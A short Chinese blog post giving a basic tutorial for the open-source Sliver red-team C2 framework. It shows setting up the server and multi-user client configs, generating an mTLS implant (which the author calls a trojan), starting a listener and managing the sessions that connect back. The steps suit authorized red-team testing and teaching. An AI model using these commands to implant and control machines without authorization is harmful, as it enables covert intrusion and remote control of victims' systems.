sliver的简单使用

免责声明:由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本篇文章作者不为此承担任何责任,一旦造成后果请自行承担!

简介

Sliver 是一个开源的跨平台对手仿真/红队框架,各种规模的组织都可以使用它来执行安全测试。Sliver 生成的木马支持 C2 over Mutual TLS (mTLS)、WireGuard、HTTP(S) 和 DNS,并使用每个二进制非对称加密密钥进行动态编译。

服务器和客户端支持 MacOS、Windows 和 Linux。生成wen'jian在MacOS,Windows和Linux上都受支持
Sliver下载地址
https://github.com/BishopFox/sliver

启动服务端

image

如果是单用户到此服务端就配置完成,多用户的话需要配置如下:

生成客户端配置文件

image

server默认会监听一个端口31337,若修改的话可以通过~/.sliver/configs/server.json修改

启用多用户

image

下载客户端并导入生成的配置文件

./sliver-client_linux import /root/BTSEC_xx.xx.xx.xx.cfg #导入配置``
./sliver-client_linux

sliver(单用户) 基本使用

生成implant

implant主要支持:mac、windows、linux

generate --mtls server_ip --save ./sliver_agent --os Linux

image

开启监听

mtls 开启监听
jobs 查看任务

image

执行木马后,如果成功回连则会有一条通知同步client和server。
implants命令可以查看生成过的implants,包括回连信息

image

sessions 

image

进入sessions

sessions -i id 或者 use id 进入会话
sessions -k id #杀死会话id

image

执行命令

image

参考

https://cn-sec.com/archives/1131959.html

https://github.com/BishopFox/sliver

posted @ 2022-12-28 18:15  axing的星空  阅读(1438)  评论(0编辑  收藏  举报